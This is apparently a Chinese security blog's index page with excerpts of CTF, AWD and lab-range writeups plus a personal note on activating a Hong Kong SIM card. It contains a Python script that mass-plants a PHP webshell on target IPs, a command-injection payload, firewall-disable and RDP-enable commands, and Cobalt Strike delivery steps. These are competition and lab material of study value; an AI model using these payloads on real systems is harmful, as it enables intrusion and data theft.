2025长城杯半决赛 | Writeup

AWDP CCforum 粗略审计后大概可以知道应该是要先登陆进admin.php,但sql语句全部做了预编译所以没法注入,试了一下通过爆破可以获取到admin.php的账号密码。登陆进去后再看有什么利用点 入口没有什么特别的,可以直接先看到login的逻辑 可以看到把通过验证的用户名写到了session里,接着看reply.php和post.php会发现都有一个敏感词过滤。并且他们调用的$username都是session里的明文用户名 跟进到config.php看这两个函数 可以看到record_banned函数里主要干了三件事 拿用户名base64的结果创建目录 判断是否创建成功,如果创建成功就正常写入被过滤的敏感词。创建失败有两个分支,一个是文件夹创建失败,会把用户名明文拿去和日志信息做拼接;一个是banned日志文件创建失败,直接写入一串信息,没有拼接。 最后将第二点走完的结果用log_action函数写到总日志里(这里又个很容易掉进去的陷阱,就是日志其实是有两份的,一个是总日志access.log,一个是banned日志。我们能作拼接任意写入操作的其实是总日志。) 到这里其实已经可以达到写入任意字符串的目的,但还不能说明什么,因为写入的地址并不能被访问,而且文件名是固定的,所以直接上马可能性不大,得找地方利用这个允许我们随意写东西的地方。 看回刚刚爆破开的admin.php,在登陆验证逻辑过后紧接着这一段 可以看到它把log文件读到变量$action_log,接着$log_lines再以换行作为分隔符将日志作切割。这里我们再看回到config.php,来看一下日志是怎么写的。 可以看到$log_file变量就是以换行为结尾的,并且以逗号为分割。所以我们继续往下看admin.php。可以发现我们写入的东西都会被处理完后放到对应的变量里,而只有$additional_info是我们可以控制的($encoded_user是base64,控制不了)。 接着往下看 这段代码将$encoded_user作为用户名拼接路径,然后再把路径的内容读出来。那么利用思路就清晰了,我们刚才一直在找的任意写入应该就是在这里发挥用处,也就是控制$encoded_user。但这不就和上面说的不能控制矛盾了吗?有什么办法可以通过$additional_info来控制$encoded_user吗? 如果你的思维足够跳跃,应该就能想到用任意文件写入来写入换行,以此在$additional_info来创建一条假日志。这样我们就能控制这条假日志的用户名了。说起来有点抽象,我们来看个具体的例子 这是根据log_action函数生成出来的日志,大概像下面这样 1,abwidab,admin_login,1,\n //log_action($username, 'admin_login', 1); 2,dqbvwwfqiq,register,1,\n //log_action($username, 'register', 1); 3,wqifbqwibc,record_banned,0,Failed to record banned content\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to record banned content'); 4,wqifbqwibc,record_banned,0,Failed to create record directory for 这里拼接任意字符串\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to create record directory for '.$username); 那么username应该输入什么呢?示例如下 2,dqbvwwfqiq,register,1,\n 4,wqifbqwibc,record_banned,0,Failed to create record directory for \n 11,../flag,record_banned,1,111\n 而我们输入的用户名就是 ...

March 18, 2025 · 1 min · Red

24-25下半学年第二次线下赛 | Writeup

只开了一台靶机。这里我以本地的环境为例简单讲一些重要的指令和过程 外网打点 除了回环地址和我的物理机外,设备有两台,.80和.201 用fscan扫一下 只能扫到.80,应该是.201有防火墙,那就从这台开始入手 重点放在服务上,会发现7001端口开了http。这个端口一般是weblogic,所以直接上工具(shack2/javaserializetools) 检查发现存在CVE2017,换个工具(sp4zcmd/WeblogicExploit-GUI)直接上冰蝎马 先确保能执行 然后直接上马。建议上完内存马再上一个webshell,因为实测起来内存马容易连不上 这里要注意冰蝎启动前先换到11或17,否则会出现连不上的情况(没有的话可以用apt install openjdk-17-dev安装) 这里我连webshell 成功上线 上来后选择虚拟终端先再命令执行页面执行whoami查看权限 目的是查看权限和确保马能正常使用。接着为了方便内网信息搜集,所以要上CS或者msf。这里我选择CS,但是如果直接上Beacon会被杀软干掉,所以我们要想办法绕过。一种办法是做免杀马,但比较麻烦,所以我们选择用CS的Web Drive-by绕 首先监听器是必须的,就不演示了 接着选择Attack->Web Drive-by->script web delivcery 点击Launch后会给你一段powershell的马,直接再冰蝎运行即可,等待十五秒左右就能上线 接着修改sleep,然后进行提权和内网信息搜集。 不过如果你想用msf内置的CVE拿meterpreter也是可以,只不过后面提权msf会遇到问题,还是得转到CS。如果你用的是msf,想转到CS,可以用下面的方法来 首先还是在CS弄好监听器, 接着将meterpreter放到background,接着按下面的步骤来设置 就能成功上线CS 内网横向 先提权,SVC即可 接着关防火墙,开3389 netsh firewall set opmode disable REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 接着扫目标,可以用portscan也可以用net view(查看域存活主机)。当然要是你想上fscan也可以,只不过有360所以被干掉的概率比较大 就能看到10段的内网靶机列表。不知道怎么进入这个列表去看第一场wp 当然,如果你想看是否有360,只需要点击下port scan下面的process list就可以看到 ...

March 14, 2025 · 1 min · Red

24-25下半学年第一次线下赛 | Writeup

取证赛道 计算机、U盘、APK、手机 2024数证杯初赛 - WXjzc - 博客园 服务器 服务器1 直接用md5sum算出即可:a2444b61b65be96fc2e65924dee8febd 服务器2 直接用strings就能梭出来 strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client 服务器3 通过上一题可以发现两个接口/connect和/upload/ 尝试在GDB中运行ubuntu-client,但缺少libcrypto.so.1.1库 使用以下命令下载并编译缺失的库: wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz && \ tar xf openssl-1.1.1s.tar.gz && \ cd openssl-1.1.1s/ && \ ./config --prefix="/usr/local/openssl" && \ make 使用环境变量LD_LIBRARY_PATH指定GDB查找依赖库的路径: LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client 使用GDB扩展peda来辅助分析,用info functions命令列出恶意软件使用的函数,注意到curl_easy_setopt@plt,这是一个用于建立curl连接的函数 在curl_easy_setopt函数上设置断点: b curl_easy_setopt 开始调试: run xGonnaGiveIt2Ya 就能发现地址 服务器4 根据上一题,可以直接得出:https://plankton-app-3qigq.ondigitalocean.app/upload/ 服务器5 因为提供的内存转储文件无法被Volatility正确处理,所以要先确定生成转储文件的机器所使用的内核版本。 通过运行命令python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners,可以确定Ubuntu使用的内核版本是5.4.0-163-generic 接着使用这个仓库,并将其内容复制到volatility3/symbols/linux目录中,然后查找与执行命令ubuntu-client xGonnaGiveIt2Ya时间对应的.service文件 ...

March 10, 2025 · 2 min · Red

[技术杂谈]香港电话卡hahasim激活小记

其实激活步骤很简单,但因为我的需求比较特殊,所以如果你是正在找hahasim激活教程并且有和我一样需求的,希望这篇文章可以帮到你 前言 算一篇小日记 昨天下午刚去把陪伴(折磨)了我一年的美版T-mobile锁iphone 14 (product)RED卖掉TwT 2024年对我而言挺特殊的,这台手机也跟着我去了好多地方,虽然它有锁还经常掉信号,但毕竟承载了我一整个2024年的回忆 小红和卡贴最终还是去了它们该去的地方(回收站),最后给它拍的一张照 最终换了975RMB,买的时候2700,折损率算还能接受,毕竟出之前还被朋友吓唬水货卖不出去= = 而且换上了最新的国行16e啦 所以终于可以试试参加完HKcert CTF从香港带回来的土特产了XD 正片 因为我有两台手机,一台是安卓,一台是ios,一开始的想法是直接在安卓上插卡激活,就在安卓上用就好 按照官方教程,查卡,等了差不多3分钟短信拿到手机号,到短信连接下载haha travel。结果一打开就出现这个弹窗 后面发现有个博主说好像是这个连接里给的apk文件的有问题,需要到google play下载。但奈何我是HUAWEI,下google play这条路显然很麻烦,所以我就把目光扫向旁边的iphone 一样是下载好haha travel 此时我的卡还在安卓机上,在输入完ICCID和手机号之后会弹出一个“装置未登记”的提示,这显然不正常,后面又看到有个博主说它好像在绑定ICCID的时候还会登记IMEI,也就是手机卡槽。如果SIM卡正在使用的卡槽和当前正在使用haha travel登记的IMEI匹配不上就会出现这个问题,所以只能把卡取出来插到iphone上 后台关掉haha travel,重新打开并登记,这回终于成功了 此时我想试一试短信接收功能,毕竟这张卡最有性价比的地方就是全球短信接收免费。于是便打开raddit注册试了一下 结果发现并没有接收到短信,不管发几条都一样。后面查了一下发现有人说是因为必须要强制实名了? 怎么可以!当初买这张卡的目的就是为了免实名当接码号,于是便又看了一遍短信里写的规则——有效期至02/03/2026,并且根据之前对香港卡做的攻略来看,服务包需要有消费才算正式激活,所以我就到首页随便买了个最便宜的10块钱内地套餐 到设置打开数据漫游后再次尝试,发现确实能收到短信了 后记 开的流量包10HKD,有效期只有1天,而且只有500MB= = 这对习惯了动辄几百G流量套餐的大陆用户来说都不够刷五分钟短视频 来看一下基本的数据 分配到的ip和dns都是香港,google可以直连正常使用。使用的运营商是中国移动(听说也有联通,但是没搜到联通的信号)

March 3, 2025 · 1 min · Red

HKcert CTF 2024 final mini-ad | Writeup

全网第一篇wp^ ^(本来回来那天就该写了,拖延症硬是拖到现在……) 由于这题的阉割版被我放在线上赛,如果想直接看线上赛题解可以直接在目录里只看初步分析即可 目录结构&主要文件 docker-compose.yaml 拓补图如下 只有proxy和ssh分配到内网ip。proxy设计得很聪明,作用是防止反弹shell,只能通过上马直连的方式获取有限的命令执行,拿不到tty,而且也防止了安插诸如mitmproxy这类中间人流量监控,保证自己的流量不被别人监听 接着就来直接分析一下web的代码 初步分析 只有一个后端文件post.php,前端给了三个种选项。lev2是直接发消息并保存到messages,lev4是添加token鉴权,lev7是在token鉴权基础上使用qrcode编码消息。 全审一遍后会发现,除了file_put_content能直接写入东西外,危险函数只有两个include和一个shell_exec 所以入手的思路就有两种 通过lev2/4写shell.php,直接访问messages/shell.php或用post.php?name=shell.php&level=2 通过lev7做命令截断,例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php 但因为是awd,所以要进一步来做防御和持久化 实况回忆 能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手,比赛刚开始的时候一看awd,大家也都马上拿出预存的现成一句马批量种植脚本,很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马,从这之后才开始出现画风突变,什么不死马、隐身文件,甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚,但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚 在大概30轮左右的时候,其实大家在短时间内能想出来的招数也已经差不多都使完了,不过我在比赛之前就料想到可能会有awd这么一环,根据以往的经验,我便决定采取“敌先动我不动”的策略,除了最开始的一句马脚本在接着跑grep 'flag'以外,在批量脚本里我还加上一句cat *,开始到处搜刮其他人靶机上留下的马 所以接下来的木马升级,我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈,让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒! 木马设计 先放上我最开始的一句马脚本,后面的脚本都是在这个框架的基础上做修改 import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed # 从 ip 文件中读取目标 IP 地址 def read_ips(): try: with open("ip", "r") as file: ips = file.read().splitlines() return ips except FileNotFoundError: print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。") return [] # 目标 URL 和参数 def get_target_url(ip): return f"http://{ip}/post.php" def get_file_url(ip): return f"http://{ip}/messages/akared555.php" PARAMS = { "name": "akared555.php", "message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>", "level": "2", } # 请求头 HEADERS = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive", "Content-Length": "0", "Origin": "http://43.199.161.42", "Pragma": "no-cache", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0", } def upload_file(target_url): """ 上传文件到目标服务器 """ try: response = requests.post( target_url, params=PARAMS, headers=HEADERS, verify=False # 忽略 SSL 证书验证 ) return response.status_code == 200 except requests.RequestException: return False def check_flag(file_url): """ 检查上传的文件内容是否包含以 MINIAD{ 开头的 flag """ try: response = requests.get(file_url, headers=HEADERS, verify=False) if response.status_code == 200: content = response.text # 使用正则表达式查找以 MINIAD{ 开头的 flag flag_match = re.search(r"MINIAD\{.*?\}", content) if flag_match: print(f"找到 flag: {flag_match.group(0)}") except requests.RequestException: pass def attack_ip(ip): """ 对单个 IP 地址执行上传和检查操作 """ target_url = get_target_url(ip) file_url = get_file_url(ip) if upload_file(target_url): check_flag(file_url) def main(): """ 主函数:并发检查所有 IP 地址 """ ips = read_ips() if not ips: return # 使用线程池并发处理 with ThreadPoolExecutor(max_workers=10) as executor: while True: futures = [executor.submit(attack_ip, ip) for ip in ips] for future in as_completed(futures): future.result() # 等待任务完成 if __name__ == "__main__": main() 结构其实很简单,其实就是实现了最基本的上传和访问、获取功能 ...

March 3, 2025 · 7 min · Red